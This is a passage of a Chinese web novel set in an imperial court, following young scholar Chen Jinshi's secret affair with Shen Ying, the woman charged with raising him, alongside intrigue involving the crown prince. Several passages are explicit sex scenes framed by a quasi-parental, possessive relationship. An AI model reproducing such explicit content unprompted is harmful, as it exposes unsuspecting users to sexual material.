陈锦时一愣,淡淡应道:“分内之事,本就该做好。” 巳时刚过,陈锦时将校勘好的奏疏整理成册,用红绳系好,送到掌院处。 掌院翻看,见批注详尽,字迹工整,对此人甚是满意。 “锦时,你算是今科进士里年纪最小的,我本还担心你年纪轻不能担事,在外又素有你顽劣的传闻,如今看来,你很适合入翰林,你性子沉,乃宰辅之才。” 陈锦时颔首不言,对方是否由杨敞示意,才这样褒奖,还是当真以为他能力不凡,他不甚在意。 他只是习惯了,做什么事情就要做到最好,他不喜欢被人压下去。 掌院将奏疏放在案上,目光落在他身上:“下月东宫经筵,需派翰林随侍记录,你且跟着去,往后这类差事,少不了要你接手。” 陈锦时躬身应是:“学生定当尽心。”他垂着眼,只盯着地面砖块纹路。 东宫象征未来权力,他陈锦时位列二甲第七,之所以能得多方看重,无非是因为他年纪最轻。 皇帝有此评判:“还未及冠,便能站到金銮殿上的,少之又少,点他个二甲第七,已是足够,半大的小子,要是得个探花,未免叫他太猖狂。” 这话陈锦时自是不知,他只知自己名次在谢清樾前面,那就够了。 走出这里,日头已生得颇高,同僚张大人凑上来,笑着递过一本翻旧的典籍:“刚从书库找着的,你要的《边军粮草考》。” 陈锦时接过:“多谢。” 张大人摆摆手:“不用跟我客气,往后我还得请你多关照。”说着压低声音,“听说这次经筵,首辅大人也在。” 陈锦时没接话,只低头翻阅,目光落在“北境粮草运输需避雪季”的字句上,忽然合上,对张大人道:“今日值房的活计若忙完了帮我把这份奏疏抄录一份,我去趟兵部。” “去兵部做什么?” “前几日校勘的军饷奏疏,有几处与兵部存档的旧册不符,我去核对一下。” 陈锦时说得例行公事,实则是想借着核对的由头,打听一下北境戍边的粮草供给。 待他从兵部出来时,日头已西斜,官服的下摆被风吹得微微晃动。他提着抄录好的册子,往家的方向走去,路过街角的糕点铺,想起沈樱喜欢吃枣泥糕,便拐进去买了两盒,用纸包好揣在怀里。 回到府中时,先到兄长处请了安。 “哥哥,嫂嫂近日身子可好?” 陈锦行刚在书房写完给金陵的信函,见他进来:“多谢关心,她很好。今日倒回得早,活计忙完了?” “是,我先回后院了。” 陈锦行望着他匆匆离去的背影欲言又止,最终化为一声叹息。 沈樱正蹲在石桌边,将晒干的草药收进竹筐,她穿着素色的布裙,发间别着一支简单的木簪。 场景与他白日里见惯的锦衣华服、琉璃瓦截然不同,却让他的心瞬间安定下来。 “回来了。”沈樱抬头看见他,笑着起身。 陈锦时走上前,将怀里的枣泥糕递给她。 自从搬进这座宅子,他们便住进了一间屋子,内院从不让下人进来,唯有旺儿帮着洒扫。 这里处处都打理得雅致简单,却透着温馨。 沈樱接过糕点,打开纸包,一股甜香扑面而来。她拿起一块递到他嘴边,眼底带着笑意:“你倒费心。” 陈锦时张口咬下,甜而不腻的味道在舌尖散开,看着沈樱眼底的笑意,他忽然觉得,那些在翰林院应对的门道,朝廷里日日处事的繁琐,都值了。他伸手,轻轻拂去她发间沾着的草屑,动作温柔,与白日里在朝堂上沉稳应对的模样判若两人。 眼底的沉敛渐渐散去,逐渐显出另一面。 这张榻是陈锦时挑的金丝木,亲手在床头雕了她最喜欢的海棠,被褥枕头都是两人一起选的料子和芯子。 沈樱刚解开外衫系带,身后那人便沉沉抱上来,浑身都带着克制不住的滚烫。 他下巴抵在她肩窝,声音压得很低,混着呼吸落在她耳边:“阿姆,你那么温柔地同我讲话,我却想脱光你的衣裳,我好无耻。”他手掌上她背,一下摸到她后背系带的轮廓。 沈樱身子微微一顿,没回头,只任由他抱着,她能清晰感受到他胸膛的滚烫,还有贴在自己后背时,那克制不住的紧绷,像弦上的箭,带着隐忍的急切。 “刚从兵部回来?” “嗯。谢清樾不是叫我帮他查查粮草的事情?” 他俯身下去,叫她在榻上躺下。 沈樱你呢感觉到他掌心的薄茧蹭过布料时的触感,他轻而易举解开她的衣衫。 他学会很多讨好她的方式。 “先把药喝了。” 他抬起头:“好。” 喝下药以后,还有不少时间可以用来讨好她。 他的手在她腿上摩挲抚触,鼻尖蹭过她的锁骨,闭着眼睛,纵是睫毛扫过她的肌肤,也能引起一阵细微战栗。 片刻后,他抬起头,忍着凶性问她:“还需要什么?” 他等不及了。 第57章 她手掌抚着他的脸,他这些日子是沉敛了许多,但总是会在这种时候,露出半分凶相。 她指腹轻轻蹭过他下颌的粗粝,带着点扎手的触感,他乖乖收敛了几分凶相,只定定望着她,呼吸都带着滚烫的意味。 “还需要,陈锦时,你下去。” 他取过他的枕头垫在她腰下,随后露出獠牙,朝她咬下。 她十指嵌入他的发间,像一只天鹅般仰起脖颈,喉间溢出轻哼。 如今终于可以肆意,在这座院子里,再无人可以打搅,也无人可以听到那些声响。 他不必再捂住她的唇,他喜欢让她高声表达,温热的呼吸与汗水交织在一起。他感受着她的细腻,她的温厚,她轻微的颤栗。 他轻轻松开,等她缓和下来,她忍不住抬手揉了揉他的头发,他很乖地等待她。 她轻轻呼气,将他的头颅托上来,托到胸前,她低头,吻上他的唇。 他的手顺着她的腰侧慢慢往上,像是在描摹她的轮廓,从纤细的腰肢到柔软的肩头。 “阿姆……”他眼底含着水汽,喉间带着满足地喟叹。 有着可怕力量的身体,现在正乖顺让她抚摸欣赏。 沈樱感觉自己在享用一个男人,他在忍耐欲望,等待她垂青。 她双腿绕上他的腰,身体朝他贴近,这是一种许可。 紧接着是耳边毫不掩饰喘息的声音。 沈樱没说话,只是伸手,环住他的肩颈,让他的脸埋在自己的颈窝,一边啃咬。 唯有在这样的时候,触摸到他浑身爆发力量的滚烫身体,听着他温热的呼吸和不加掩饰的粗重喘息,她才不再是那个对生命淡漠地旁观者,而是真切地被人需要着,被人爱着。 她需要被陈锦时抱着,需要被陈锦时需要,被他索取,被他祈求, 他从不压抑自己的渴望。 窗外,树枝混着晚风发出沙沙的响,屋内,金丝木的床榻结实沉稳,被褥间弥漫着咸涩气息。陈锦时脸埋在她的颈窝,呼吸急促,他轻轻吻着她的颈侧。 “阿姆,你把我的枕头弄湿了。”他鼻尖蹭过她细腻的肌肤。 “嗯。”她喉间带着未褪尽的喘息,听见他轻声的哼笑。 沈樱收到了沈家的请帖,说下月是她外祖母七十大寿。 不知什么时候起,沈家总有意无意与她来往联系,她懂了对方的意思。无非是觉得,她这个外孙女,值得来往罢了。 到了这一日,沈樱还是备了礼,乘着马车前去。 庭院里的宾客多是族亲,她一个也不认识,笑着应付着。 身后却靠上来一人,她回头,正是舅舅沈仲礼。 “小樱,我还是第一次见你。” 沈樱一怔,扬起笑意,很快认出对方:“是舅舅,我收到舅舅给的礼物了。” 沈仲礼拉着她的手腕:“跟我来,我带你去见你外祖母。” 沈樱顺着他的力道往前走,穿过庭院里喧闹的人群,绕过载着老桂树的影壁,便到了后院的厢房。 沈老太太娄氏正坐在窗边的软榻上,手里捏着串佛珠。 沈樱缓步上前:“给外祖母请安。” 老太太睁开浑浊的眼打量了她片刻,没说什么。 沈仲礼上前:“母亲,小樱给您贺寿来了。” 老太太终于张口:“模样随她,周正得很,如今年纪不小了吧,可说亲事了?” 沈樱垂下眼眸:“还没有。” 老太太捏着佛珠的手顿了顿,忽然道:“我听说谢三公子对你有意,谢家不错。” 沈樱有些诧异:“您如何得知?” “谢家夫人曾在杨府宴席上提过你,稍一打听便知。” 再有,谢清樾临行前一天到访陈府的事情也并不是秘密。 沈樱攥了攥袖口,没否认,但:“外祖母见我只为说这个吗?” “女孩子家,身边得有个知冷知热的人。何况你如今与我沈家脱不开关系,你的婚事我自然上心。只要你答应谢家,我自会为你添上一份嫁妆。” 沈樱眉头几不可查地蹙起,她对这番话十分反感。 她头一回理解了陈锦时。 因为她差一点脱口而出:“外祖母之所以愿意认我,便是因为可以借我攀上谢家的高枝吗?” “你与沈家如今已是一条船的人,沈樱,我也是为了你好。” 沈仲礼连忙张口:“母亲,小樱这才来几次,你别吓着她了。” 沈樱就算说不出上面那句话,也怕自己说出,她早已与陈锦时“暗通款曲”。 她警告自己维持体面,就像教导陈锦时的那样。 沈樱抬起头时,脸上已重新挂上温和笑意,只是那笑意浅得很:“外祖母的心意,沈樱心领。只是谢公子已戍边北境,沈樱如今想留在京城。” 老太太似乎并不觉得这是什么问题:“等他年底回来与你完婚,你自可入主谢家家宅,留在京中为他打理后宅,这又有何不可呢。” 沈樱没再接话,她与这老太太,实在无话可说。 只是确定,这件事情背后应当没有谢清樾耍的小心思,他懂这样只会适得其反。 “罢了,不说这个。陈家二公子在翰林院当差,平日里很忙吧。”老太太又问。 “忙是忙些,他倒应付得过来。” “你有个侄女今年刚及笄,到了说亲的年纪,你该见见。” 说着,老太太朝沈仲礼使眼色,沈仲礼看了眼沈樱,叹了声气,便要去叫人。 沈樱手微微一顿,面上不动声色。 却张口道:“外祖母,锦时如今极受杨首辅看重,他家五姑娘也对锦时颇为欣赏。” 老太太脸色一沉:“你瞧不上自家的姑娘,怎的还帮着别家的说话,你也不想想,那杨家的小姐嫁过去,能敬重你吗?” 沈樱笑道:“做人阿姆的,自然要给他找最好的。” 转过身时,她眼底平静无波。 沈仲礼刚要迈出去的脚步顿在 原地,尴尬地站在门边,进也不是,退也不是。 “行了,母亲,小樱才刚来,请她出去吃席吧。” 沈樱随舅舅出门,眉心蓄着烦躁,心里不住地想,陈锦时是她的,是她的。 别说是沈家的侄女,就是首辅家的女儿也…… 这念头在她心底转了一圈,脚步更加轻快。 沈仲礼走在她身侧,见她神色缓和,松了口气,劝道:“小樱,你外祖母就是这样,一辈子操心家里的事,你千万别放在心上。当初若不是她强烈阻止,你母亲也不会……罢了,过去的事不提了。” “舅舅放心,我明白。”沈樱点头。 沈仲礼做事承袭沈家习性,专横、强硬,当初若不是她上门认了回亲,陈锦行在太医院只怕还要被她舅舅打压许久。 但沈仲礼待家人是极温和的,沈樱有些能感受到。 她只犹豫了一瞬,还是没有单独告诉舅舅,母亲的事情。 她从楼烦来金陵时,母亲特地嘱咐过她,在沈家人面前,就当她已经死了。 沈樱没有在沈家待多久,只是从沈家出来时,意外地遇到了一人。 一个身穿灰布袍的小太监悄然走出,脚步轻得像阵风,径直走到她面前,微微躬身,声音压得极低:“沈姑娘,我家主子有请,烦请移步一叙。” 小太监说话时,眼神规规矩矩落在地面,唯有腰间低垂的暗纹宫牌,彰显了他主子的身份。 沈樱脚步一顿,虽不愿沾染这些,但她绝无可能忤逆那位。 “劳烦引路。” 那小太监引来一架玄黑色马车,请她上去,马车拐了几条街,到了一处僻静雅致的院子。 院内栽着几株修竹,石板两旁铺着青苔,空气中飘着淡淡的兰花香,那人今日应是没有燃檀香了。 这里的景致极合她心意,小太监引她进了正屋,屋内只点着一盏青釉瓷灯,光线柔和,男子身着常服,长发只用一根墨玉簪束着,正坐在床边看书。 沈樱屈膝行礼:“见过殿下。” 玄澈抬手示意她起身,语气平和:“不必多礼。” 小太监退后,关上了房门。 沈樱心下一惊,却听太子道:“沈姑娘,孤很欣赏你们异族女子,不似中原女子总有那么多规矩,孤倒不好跟她们相处。” 沈樱张了张口,接纳了与太子单独共处一室。 太子抬手示意她坐下:“有件私事想托你帮忙。” 沈樱依言坐下,鼻尖嗅进极清澈的兰香。 “殿下请说。” “孤母后进来总觉心口发闷,夜里难以安睡,太医开了不少方子,效果却不佳。”太子亲手给她斟了茶,“不过也是,太医院那些人,尽是攀关系、走人情爬上来的,太后年纪大了,被蛊惑也是有的,父皇也只能顺着她老人家的心意。” 沈樱一怔,心下觉得不妙,陈锦行入太医院,的确是由安郡王府引荐到太后跟前进去的。 听太子这意思,等太后驾崩,只怕要重新整顿一番太医院。 “孤听闻沈姑娘擅长用蒙药与药膳调理身子,尤其是安神的方子,不知你可否进宫一趟,给孤母后看看?” 太子将茶盏推抵到她跟前,沈樱握着茶盏的手指微微收紧,心底有些发寒。 “殿下谬赞,民女不过是略通些北地调理之法,比不过太医们医术精湛,若贸然为皇后娘娘诊治,万一有差池,民女担待不起。” 玄澈目光落在她脸上,面上带着几分了然,好似极能体谅她的难处:“沈姑娘不必过谦。太医院那些人,循规蹈矩惯了,方子用了一遍又一遍,只要不出差错,却未必对症。”说完,他换了副面貌,低声示弱,“还请沈姑娘怜惜怜惜我们,我们只是出身皇家,身份尊贵,却极难得人真心相待。” 沈樱握着茶盏的手微微一颤,抬眼看向太子,他眼底示弱的恳切不似作伪。 他好似很懂该如何拿捏她,尽管他们只是第二次见面。 沈樱不会为利益动摇,也不会为强权压迫,但她受不得这个。 “民女可以一试。只是诊治需得仔细,还请殿下容民女先看看皇后娘娘的起居记录与过往脉案。” 玄澈闻言,眼底瞬间褪去那几分示弱,露出舒展的笑意,从案上取过一个册子,递到她面前:“这是母后近半年的起居注与太医院开的方子,沈姑娘可拿去细看。” 沈樱接过册子,指尖触到封面细腻的锦缎,低头翻开,里面字迹工整,详细记录着皇后每日的饮食、作息,还有太医院开具的药方,多是安神宁心的常规药材,的确如太子所说,循规蹈矩却难见成效。 她将册子收起来,抬头道:“待民女先仔细看过。” 玄澈点头:“嗯,大约三日后,东宫经筵结束,孤便接你进宫。” 他目光落在她腰间香囊上绣着的纹样,忽然笑道:“沈医师秋日爱用什么香囊?孤闻着似有草木香。” 沈樱低头看了眼腰间的香囊,是用的晒干的甘松与野菊,布料上绣着简单的兰草纹,是她亲手做的。 “回殿下,秋日干燥,民女习惯用甘松、野菊混着少量陈皮制香囊,既能安神,又能清燥气,比熏香更温和些。” 玄澈闻言,目光亮了亮:“孤记下了,改日孤也叫下面的人做个一样的用用。” 此话一出,沈樱一愣,犹豫了片刻,解下腰间香囊赠他:“既殿下喜欢,若不嫌弃,这个便拿去用吧。” 他那样说,她倒不好不赠他了。 偏他也极守礼数,并不是主动问她要。 可她若不赠他,便显得她极不识好歹。 他收得也干脆,只因:北地女子大抵是没有那些以香囊为定情之物的习性的。 “沈姑娘亲手做的物件,孤很喜欢。”他语气温和,伸手接过。 “殿下不必客气。” 他放在鼻尖轻嗅,甘松的清冽混着野菊的微香,果然比熏香更显清爽,便笑着收下:“既如此,孤便却之不恭了。往后沈姑娘若在京中遇到难处,尽管派人去东宫递话,孤定当尽力。” 沈樱起身躬身告退:“时辰不早,民女便先告辞。” 玄澈点头,示意小太监再送她出去。 待她走后,他低头,把那枚香囊系在腰间,轻笑了笑。 陈锦时从翰林院回来,沈樱正坐在院里翻看皇后的脉案,见他回来,她朝他招招手:“过来,坐下喝药。” 她将一碗汤药推过去,陈锦时走过去坐下,尽管这药闻着与平常的有些不同,但他还是毫不犹豫地喝下。 苦涩的味道在舌尖散开,她递过一块蜜饯。 他擦去嘴角渗出的药汁:“阿姆,天还没黑的。” “我知道。这是安神的汤药。” 陈锦时含着蜜饯,甜味冲淡了药苦,他低头看向沈樱手中的脉案,埋在她肩头道:“又是谁来烦你了?” 她顿了顿,只摇摇头,没直说。 他又问:“你今日去沈家如何?” 沈樱放下脉案,看了一会儿半空,随即说道:“我外祖母想让我嫁给谢清樾。” 陈锦时埋在她肩头的脑袋便猛地抬起,眼底的温软瞬间褪去几分,变得凶厉:“她可真讨人厌啊。” 沈樱蹙眉看他:“不许对外祖母不敬。” 他喉结动了动,紧紧箍住她肩:“她算个什么东西。” 直到看见她眼眸里的警告,他逐渐退让,避开眼神,软下来:“那你怎么说?” 沈樱嘴角噙着浅笑:“我自然不会听她的。” 陈锦时紧绷的肩背渐渐放松:“对不起。” “为什么道歉?” 他继续埋在她颈间,声音闷闷的:“因为我不能娶你。” 虽说他知道她要的不是这个,但女子活在京城,总会被“婚事”二字烦扰。 也许她也为此感到遗憾呢? “我在想……等我在朝上站稳脚跟后,能不能请皇上赐婚?” 沈樱心里一惊,喃喃道:“不可,这样大逆不道的事情,皇上怎么可能允许。” “可我能怎么办呢?阿姆。” 她察觉 到他的无助与委屈,只说:“这是从一开始,你就应该做好准备的事情,陈锦时。” 一开始她只说,他们可以试试。 从不代表从一而终,从不代表一生一世。都兰也不是那样的人,她的本性具备多偶性,就像她从未真正拒绝谢清樾。 她也绝不是为了感情可以不顾一切的人。 除他以外,她的人生还有许许多多别的方面。 “阿姆,别不要我,永远也别不要陈锦时。” 他看起来实在太可怜了,她不忍心不要。 “我不会不要你的。” 她侧过头吻他,他像一只依偎在主人怀里的小狗,在她探入的一瞬,便张唇接住她的吻。 她拧着他的耳朵,他会发出又疼又爽的哼唧。 东宫经筵如期举行。 文华殿内,檀香袅袅,案几依次排开,朝中重臣与翰林学士分坐两侧。 太子玄澈身着常服,端坐于上首,神色沉静地听着讲官讲授《资治通鉴》。 陈锦时作为翰林院随侍,手持纸笔立于末席,目光落在案上的记录册。 讲官讲到“亲贤臣,远小人”,玄澈忽然抬手打断,语气平和却带着储君的威仪:“老师所言极是,只是辨明贤臣与小人,需观其行、察其心,而非仅凭出身门第定论。” 他话音落时,起身踱步,忽然将视线落到末席的陈锦时身上,原因无他,陈大人腰上系着与他一模一样的香囊。 玄澈微微笑着:“陈大人,你有何见解?” 陈锦时握笔的手一顿,抬眼硬上太子的目光,见对方视线温和地落在自己身上,他压下心头惊诧,躬身行礼,语气平稳:“回殿下,臣以为,亲贤臣重在信,远小人贵在明。如殿下所言,出身门第不足为凭,但若能以行事辨人心,以实绩定优劣,自能让贤臣安心,让小人无隙可乘。” 他如今极会说这样的套话,上位者大抵爱听。 直到他忽然看到,太子腰间的香囊,布料纹理、兰草纹样…… 他目光凝住,太子堂而皇之地将它系在腰间,一股阴暗的火气顺着心口往上冒。 那个充斥着檀香味的情事浮现眼前。 他如何不知,他的阿姆,真正肖想过与太子。 虽说生而为人,脑子里想的东西多了去了,脑海中如何的不堪与疯狂都有可能,或许她只是一闪而过,可他恰恰知道了。 这就不一样了。 太子出生高贵,对外仁厚端方,性情温润,又极有威严。 阿姆会肖想他,真是再正常不过了。 他隐隐察觉,太子落在他身上的目光变得更加赞许,后来更是隐有亲近。 “陈大人所言,恰合孤意。往后东宫经筵,你常来随侍。” 此话一出,无人不知,陈锦时就要青云直上。 陈锦时躬身应下,面色看不出任何,藏在宽袖下的手,指甲几乎要嵌进肉里。 太子温润,在床上定比他更温柔。 呵! 回到府中,沈樱真坐在石桌边熬药。 见他回来,她笑着道:“今日太子经筵顺利吗?可入了他的眼?” 陈锦时步步逼近:“托你的福,他很喜欢我。” 沈樱一愣,手腕已被他掐住。 他的舌尖强势地钻进去,霸道地缠吸,她感觉自己的舌头要从舌根那里断掉了。 “他好像把我当成了一个晚辈。” 她的后背被他抵在石桌上,他的手掌恰好贴在那里,没有被他撞痛。 他扣住她后颈,吻带着从未有过的狠劲。 沈樱眼底闪过一丝异样的光,前日她给太子香囊时,便想到了,今日东宫经筵,陈锦时会看见。 她本不太确定,太子今日会将香囊挂在腰间。 如今是确定了。 那么,怎么办呢? 他松开她时,指腹摩挲着她被吻得红肿的唇,眼底翻涌着暗潮,声音沙哑得像淬了沙。 “阿姆,陈锦时真的不知道该拿你怎么办了。” 沈樱眼底一闪而过一丝,极不明显的,疯狂的光。 脱口而出的话却是:“陈锦时,你该过回正常的生活了。” “什么叫正常的生活?”他抚着她的唇,歪头问道。 “你睁眼看看你的同窗、同僚,幼时的玩伴,谁不是娶了门当户对的妻子?那样的生活才是你该过的。” “可我觉得你就是最好的。” 沈樱沉默良久,终于张口:“我不是最好的,那是我答应你父亲的,要好好照顾你,所以……大概你错认了那般情愫。” “阿姆,你是说,我想把你*死在榻上,属于一种错认的情愫吗?” “……” 他的面孔又瞬间柔软下来,显得楚楚可怜:“可是,阿姆,我已经全都给了你。”他拉起她的手捏在胸口。 沈樱一怔,是呢。 “对不起,是我不对。”她立刻道歉。 “我原谅你了。”他头埋上去。 第58章 翌日,玄澈派来的马车准时停在陈府门外。 沈樱抱着整理好的药箱与脉案册子,刚走到门口,便见陈锦时立在廊下,一身官服尚未换下。 她有些惊诧:“这个时辰,你好像不该在这儿。” “阿姆,你要进宫?” 他声音听不出情绪,目光落在她药箱上。 他朝她伸出手,十九岁了,陈锦时生得伟岸,性子沉敛,瞧着极为可靠。 沈樱还是没有将东西递给他,攥在手里,淡淡点头:“是,你去吧,你当值要紧。” 她走近两步,抬手替他理了理微乱的玉佩穗子。 门前一太监躬身上前:“沈医师,请吧。” 陈锦时立在原地,脊背绷得笔直。 马车上并无旁人,沈樱坐上马车,撩开车帘看他。 “陈锦时,你乖乖的。” 他垂下眼眸,睫毛长长的,看起来很乖:“嗯。” 马车驶入东宫,竹影婆娑,处处种满了兰花。 玄澈已在正厅等候,见她来,亲自起身相迎。 腰间那枚香囊随动作晃动,格外扎眼。 “沈医师来了,孤带你到坤宁宫。” 沈樱肩上挎着药箱,手上还捧着不少东西。 他语气温和,目光在她身上停留一会儿。 “是。” 玄澈引着沈樱往坤宁宫走,廊下兰草成簇,细碎的花瓣沾着晨露,香气清透得漫在空气里。 他步子不快,恰好与沈樱并肩,目光时不时落在她臂弯里的脉案册子上,语气随意似闲聊,仿佛还带着丝轻笑:“沈医师可准备好了?” 沈樱如实回答:“民女昨夜对照娘娘过往脉案,发现太医多用重镇安神之药,虽能暂稳心神,却易滞涩气血。今日对方子有些思路,只是还需看娘娘今日脉象是否相合。” 玄澈点点头,忽然停下脚步,朝她伸出手:“沈医师,你肩上的药箱,瞧着怪沉的,孤来提吧。” 沈樱顺着他的目光落到自己肩上,有些诧异。 太子身份尊贵至此,竟愿意……她一时不知他是何意。 他似乎喜欢独来独往,走这条路时,身边并没跟着那位脸熟的小太监。 但他又很是自知尊贵,否则也不会,路已经走了一半,才提出要替她提箱子。 “多谢殿□□恤,只是民女力气尚可,不敢劳烦殿下。” 她垂着眼,没去看太子的神色,只听头顶传来一声轻笑。 玄澈收回手:“孤忘了,沈医师不是京中那些娇客。” 沈樱顺着他的话抬头,眉头微微蹙起:“民女听闻,杨首辅家的五小姐,也是女中豪杰,学问见识不比男子差。” “你说她啊……”两人说话间,已到坤宁宫门前。 守门的宫女见太子引着人来,忙要通报。 掀开门帘前,太子回头,靠近她的耳朵,低声多说了句:“孤告诉你一个秘密,杨家当真在新科进士中挑中了你家陈大人为婿,只怕不日就要请皇上赐婚了。” 新科进士中,陈锦时虽名次不算十分靠前,却在长相、年纪、家世、杨芷薇的心意上被杨家综合考量。 沈樱怔愣抬头间,太子已跨门进去,他唇角扬着笑,似乎当真替她高兴,告知她这一件喜事。 殿内暖炉已经燃起了银丝炭,暖意裹着淡淡的瓜果香漫开来。 皇后斜倚在铺着雪狐毛垫的软榻上,手里捻着串紫檀佛珠,听到动静,只掀了掀眼皮,语气平淡:“来了。” 玄澈上前两步躬身行礼,语气放柔:“母后,儿臣那日与您提过的沈医师,您让她诊诊脉,看看是否合心意。” 皇后抬眼望过来,沈樱跪地问安。 “ 起吧,不必多礼。” 语气里听不出喜怒,只透着久居深宫的疏离。 玄澈上前一步,示意宫女搬来绣凳,亲手搭了脉枕。 沈樱谢过落座,暗道一声失礼,深吸一口气,随后指尖搭上皇后腕间,凝神片刻,收回手,抬头道:“娘娘脉象中带着郁结,想来昨夜依旧难安。” 皇后没立刻应声,目光转向玄澈。 玄澈微微点头:“是。” “娘娘气血本就偏虚,民女今日备了些自己晒的合欢花与陈皮,可加在茶饮里,娘娘可先试一剂。” 皇后这才缓缓开口,声音里带着几分慵懒:“就按你说的办。” 沈樱刚要起身写方子,玄澈已从案上取过纸笔递来。 有一瞬间,太子靠得近极了,那触感极轻,却让沈樱心头一紧。 她落笔写下方子,笔锋利落,却难掩此刻纷乱的心思。 杨家看中陈锦时,于她而言,算不得苦恼。 她只是在想,对方“选中”他的这件事情,可会过问他? 陈锦时不会愿意的。 沈樱既希望他答应,也不愿他被逼迫。 这是一种极复杂的情感。 那是多少人求而不得的坦途,但他因无法从武而被迫从文,一步步走到如今,若是不能随心所欲,那有什么意思。 她跟随太子走出坤宁宫。 “若母后吃了这方子有用,过些日子,少不得再请你来一趟。” 沈樱垂头:“无事,殿下尽管吩咐便是。” 廊下兰草沾着晨露,被风一吹,细碎的花瓣落在青石板上,香气漫得满径都是。 玄澈走在沈樱身侧,脚步不快,语气随意似闲聊,目光却时不时落在她脸上,带着几分探究:“沈医师,孤瞧你心绪不佳?” 自从得知了那件“喜事”过后。 沈樱指尖无意识攥紧了药箱带子,声音平静:“殿下多虑,民女只是在想娘娘的脉象,琢磨着后续可以怎样调整方子。” 玄澈忽然停下脚步,转身认真看向她:“沈医师如此上心,孤还没有好好谢过你。” 沈樱心神一颤,太子为人好生细腻妥帖。 怪不得民间人人称赞他。 “孤听闻城西一家名为凝香阁的酒楼,药膳做得极好,尤其是那道玉露琼浆羹,用的是鲜菌与雪蛤,最是滋补安神,不如孤今日做东,请沈医师移步尝尝?” 沈樱眉头轻蹙,她并非心思迟钝的女子。 虽说她从楼烦来,太子待她也并不遵从许多“男女大防”的礼数。 沈樱垂眸望着地面,脑海中浮现许多思绪。 “多谢殿下美意,只是民女粗鄙,只怕消受不起。” 玄澈看着她,眼底闪过一丝讶异,随即又恢复了温和的笑意:“既如此,孤便不勉强了,孤派马车送你回去。” “多谢。” “举手之劳罢了。” 沈樱回到陈府,坤宁宫的太监随后便到,皇后给她赏了些东西。 沈樱有些受宠若惊,她本以为皇后不过看着太子的面子,才见她一面。 “劳烦公公跑一趟,还请替我谢过娘娘。” 沈樱恭恭敬敬把人送走。 陈锦行正好回来,在院子里坐下,与沈樱闲聊一会儿。 “锦行,最近在太医院如何?” 陈锦行坐在石凳上,指尖摩挲着茶盏边缘,语气带着几分无奈:“尽量想做些实事,但之前上的船,如今也下不去了。” 他苦笑一声,眉宇间尽是郁结。 沈樱想起太子说的话,忽然觉得自己今日应该答应太子的。 她免不得要提醒陈锦行一句话:“太子的意思,好似早做打算要整顿太医院了,锦行,你处事要更加小心一些。” 陈锦行抬眼深深地看向她:“阿姆,你真的不必再替我操心这些,我自己选的路,自然要自己承担。” 沈樱轻轻笑着:“我们是一家人。” 陈锦行深呼一口气,忽然道:“阿姆,陈锦时是你的人。” 沈樱一愣,不懂陈锦行说这话的意思。从陈锦行的嘴里说出来,就好像他终于承认了什么。 “你该自私一些,真的将他据为己有。” 就算她真的要他成为她的奴隶,他也会心甘情愿。 沈樱站起身:“我去看看若菱。” 她转身往厢房走,脚步有些发飘。 那样的念头她不是没有过,可陈锦时始终是她的孩子,她要看着他前程大好、鹏程万里。 她总会将那个念头压下去,就算在与陈锦时做到极致,意乱神迷之时,她拉过他按在他腰间的手,承受他的抵死碰撞,她会有一闪而过的念头:陈锦时,你是我的,一辈子都这样吧,我要你全都属于我。 厢房里,张若菱正坐在床边绣虎头帽,见沈樱进来,忙放下针线起身。 沈樱连忙按下她:“你身子重,千万别动。” 张若菱笑着坐下,手轻轻覆在已经大得明显的肚子上,眼底满是温柔:“阿姆放心,锦行说我这胎稳得很。” 沈樱在她身旁坐下,目光落在那顶绣了一半的虎头帽上,针脚细密,边角还缀着小小的绒球,透着满心的欢喜。 “你这帽子绣得真好看,还缺些什么小物件儿?我也给孩子绣一个吧。” “小衣裳、小帽子都有了。阿姆,听说你最近也忙得很,就不必替我操心这个了。” 沈樱笑着摇头,指尖轻轻抚过虎头帽上的绒球:“我晚上闲着也是闲着,总要给孩子一点心意。” …… 他的衣领湿透了,嘴唇、下颌,都还残留着水渍,手指湿而黏。 他抬起上身,开始亲吻她:“阿姆,今日你身上又有那股气味。” 铜镜上被她的体温和呼吸熏得雾蒙蒙的,然后印上她的掌印,“啪”的一声。 她喘息着问:“什么气味?” 他掐起她的后颈,扣住她的腰:“太子的味道,他碰你了?碰的哪里。”他将镜面上的雾气擦拭干净,让她仰起头,“阿姆,看看,你真美。” 她抬起头,唇微张着,眼神淡漠,她在欣赏自己,不着寸缕的自己,是很美的躯体,被他压得弯曲,也在审视他。 他目光沉沉,锁着镜中交叠的身影,平日里沉静的眼眸此刻染着浓烈的占有欲,发丝凌乱地贴在肩头,沾着薄汗。 “碰哪里了?”他又问了一遍,声音沙哑得厉害。 忽然俯下身,吻落得又轻又急,从她的肩颈一路往下。 他的手掌宽大而灼热,紧紧扣着她的腰。 他的衣裳并未完全褪下,衣襟被扯得散乱,胸腹上留着淡红印子。 他喉间也溢出轻喘。 他被她迷得五迷三道的样子,她觉得受用极了。 “大概是,手?他递东西给我,好像蹭到了。” 他攥起她的手,往后拉扯着,她不得不肩往后仰,他低头咬住他的肩头,轻轻厮磨。 “阿姆,太子府上已有两位侧妃,他不干净,你别叫他碰你。” 她被他拉得后仰,除了背脊与臀弯成一道弯弯的弧,几乎与他交颈接吻,耳鬓厮磨。 喉间溢出细碎的闷哼,她忍不住咬住他的耳垂,故意在他耳边,叫他听见。 他腾出一只手抚过她汗湿的发顶,眼底尽是未褪的情潮。 “我们与太子总要打交道的……嗯——” 她迷蒙着湿润的眼,望向镜中,受不得自己这副模样。 她轻咬着下唇,已是极尽隐忍。 “阿姆,你是不是早就知道自己很美。可他跟谢清樾不一样,你招惹了他,就很难再违逆了,你知道吗?” 她不是中原人推崇的纤柔美人,一身健骨,却丰肌细腰,流盼明眸。 她微微抬臀,丰姿如山河动荡,他几乎要缴械投降。 美人从不约束自己对他人的引诱,那是对方的问题,不是她的问题。 沈樱也不是例外,她总能从男子的“拜倒”之中获取满足。 对方是优秀男子,便更甚。 陈锦时好像知道了这一点,他低头,狠狠咬住她,动作带着几分不管不顾。 她被他这一动搅得气息大乱。 都兰与中原女子的区别便是,她似乎并没有什么忠贞观念。 陈锦时既为她狠狠沉迷,却从不敢要求她什么。 就算是谢清樾出现,他也只敢要求自己,自己把敌人逼退,而不是要求她。 对方是太子,他也只能说上两句酸话,太子不算干净,也不忠诚,不值得她侧目。 她若只是肖想一下,他堪堪忍受,他抚摸着她身后的发丝,想想吧,阿姆,我知道你喜欢想象。 只要那个人不是父亲,他都能忍受。 